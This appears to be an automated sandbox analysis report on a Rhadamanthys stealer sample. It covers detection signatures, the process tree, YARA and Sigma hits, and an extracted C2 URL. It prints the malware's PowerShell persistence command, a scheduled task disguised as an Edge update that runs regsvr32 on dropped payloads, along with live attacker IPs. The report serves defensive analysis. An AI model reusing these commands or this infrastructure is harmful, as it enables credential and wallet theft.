Edit tour

Windows Analysis Report
81zBpBAWwc.exe

Overview

General Information

Sample name:	81zBpBAWwc.exe renamed because original name is a hash value
Original sample name:	8837df25aabc4fad85e851aca192f714.exe
Analysis ID:	1526371
MD5:	8837df25aabc4fad85e851aca192f714
SHA1:	c4fbd38356b7ee16eaf21deb83170bbcb0fe566a
SHA256:	741cee2c6f6f8ee8a54923fa2a0c88085cede35bdc2e95b1b9f1800e894e6c19
Tags:	exeuser-abuse_ch
Infos:

Detection

RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected RHADAMANTHYS Stealer

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Sets debug register (to hijack the execution of another thread)

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Sigma detected: Potentially Suspicious Malware Callback Communication

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Connects to several IPs in different countries

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to detect virtual machines (SLDT)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query network adapater information

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Dllhost Internet Connection

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

81zBpBAWwc.exe (PID: 7476 cmdline: "C:\Users\user\Desktop\81zBpBAWwc.exe" MD5: 8837DF25AABC4FAD85E851ACA192F714)

powershell.exe (PID: 7492 cmdline: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 7744 cmdline: "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 7668 cmdline: C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

OpenWith.exe (PID: 7700 cmdline: "C:\Windows\system32\openwith.exe" MD5: E4A834784FA08C17D47A1E72429C5109)

wmpnscfg.exe (PID: 8048 cmdline: "C:\Program Files\Windows Media Player\wmpnscfg.exe" MD5: F912FF78DE347834EA56CEB0E12F80EC)

dllhost.exe (PID: 8080 cmdline: "C:\Windows\system32\dllhost.exe" MD5: 08EB78E5BE019DF044C26B14703BD1FA)

rekeywiz.exe (PID: 8100 cmdline: "C:\Windows\system32\rekeywiz.exe" MD5: A24EFFD38DDC2FFAB4F0592CA2CC585E)

rekeywiz.exe (PID: 6352 cmdline: "C:\Windows\system32\rekeywiz.exe" MD5: A24EFFD38DDC2FFAB4F0592CA2CC585E)

powershell.exe (PID: 7228 cmdline: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{88C88888-CCCC-4CC8-CCCC-C8CCC8888000}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 2140 cmdline: "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 6860 cmdline: C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88 https://github.com/echocti/ECHO-Reports/blob/main/Malware%20Analysis%20Report/Rhdamanthys/Rhadamanthys-EN.pdf	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Malware Configuration

Threatname: Rhadamanthys

{"C2 url": "https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wm"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1838129032.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1860404032.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1848367747.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1844556462.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1874774148.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1850439856.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1871687520.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1822995618.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1839488162.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1876940522.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1745138145.00000149EA6F0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000004.00000003.1852328722.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1837526724.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1908667751.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1844059304.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1843341449.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.2037272936.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000003.00000002.1747979036.000000001BDA1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1874529158.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1744894909.00000149EA410000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000004.00000003.1840606816.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1846437877.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1873686601.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1855539140.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000003.00000003.1735435044.000000001C680000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000004.00000003.1875551874.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1836105614.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1849189930.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1835809635.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1820263145.00000149EABC1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1862556714.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1842766373.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1895556015.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1850036443.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1846011615.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1869033684.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1834401410.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1869983996.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1864418183.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1900087266.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1841618473.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1847727226.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1841102498.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000003.00000003.1735195226.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000004.00000003.1827293945.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1743171217.00000149E7FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1870384738.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000003.00000003.1732715826.000000001B790000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1854099505.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1869304089.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1867316447.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1834870839.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1866723582.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1847055049.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1825117026.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1853395898.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1868087667.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1824744647.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1850823165.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1895202612.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1868687963.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1839012082.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1851414734.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.2025877192.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1833649423.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1863393703.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1840151430.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1851882644.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1845622274.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1865585143.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1836791970.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000004.00000003.1835346077.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
Process Memory Space: regsvr32.exe PID: 7668	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: OpenWith.exe PID: 7700	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: OpenWith.exe PID: 7700	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 80 entries

Unpacked PEs

Source	Rule	Description	Author
4.3.OpenWith.exe.149ea6f0000.5.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
4.3.OpenWith.exe.149ea410000.4.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
3.3.regsvr32.exe.1c680000.5.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
4.3.OpenWith.exe.149ea410000.4.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
3.3.regsvr32.exe.1c3a0000.4.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
3.3.regsvr32.exe.1c680000.5.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
3.3.regsvr32.exe.1c3a0000.4.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
4.3.OpenWith.exe.149ea6f0000.5.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Source: Network Connection

Author: Markus Neis: Data: DestinationIp: 104.223.122.15, DestinationIsIpv6: false, DestinationPort: 3389, EventID: 3, Image: C:\Windows\System32\rekeywiz.exe, Initiated: true, ProcessId: 8100, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 57393

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 185.196.9.174, DestinationIsIpv6: false, DestinationPort: 7777, EventID: 3, Image: C:\Windows\System32\regsvr32.exe, Initiated: true, ProcessId: 6860, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 57406

Sigma detected: Dllhost Internet Connection

Source: Network Connection

Author: bartblaze: Data: DestinationIp: 46.29.238.96, DestinationIsIpv6: false, DestinationPort: 4872, EventID: 3, Image: C:\Windows\System32\dllhost.exe, Initiated: true, ProcessId: 8080, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49739

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Source: Network Connection

Author: Dmitriy Lifanov, oscd.community: Data: DestinationIp: 185.196.9.174, DestinationIsIpv6: false, DestinationPort: 7777, EventID: 3, Image: C:\Windows\System32\regsvr32.exe, Initiated: true, ProcessId: 6860, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 57406

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini, CommandLine: C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini, CommandLine|base64offset|contains: , Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini, ProcessId: 7668, ProcessName: regsvr32.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", CommandLine: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", CommandLine|base64offset|contains: -, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\81zBpBAWwc.exe", ParentImage: C:\Users\user\Desktop\81zBpBAWwc.exe, ParentProcessId: 7476, ParentProcessName: 81zBpBAWwc.exe, ProcessCommandLine: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", ProcessId: 7492, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", CommandLine: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", CommandLine|base64offset|contains: -, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\81zBpBAWwc.exe", ParentImage: C:\Users\user\Desktop\81zBpBAWwc.exe, ParentProcessId: 7476, ParentProcessName: 81zBpBAWwc.exe, ProcessCommandLine: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At 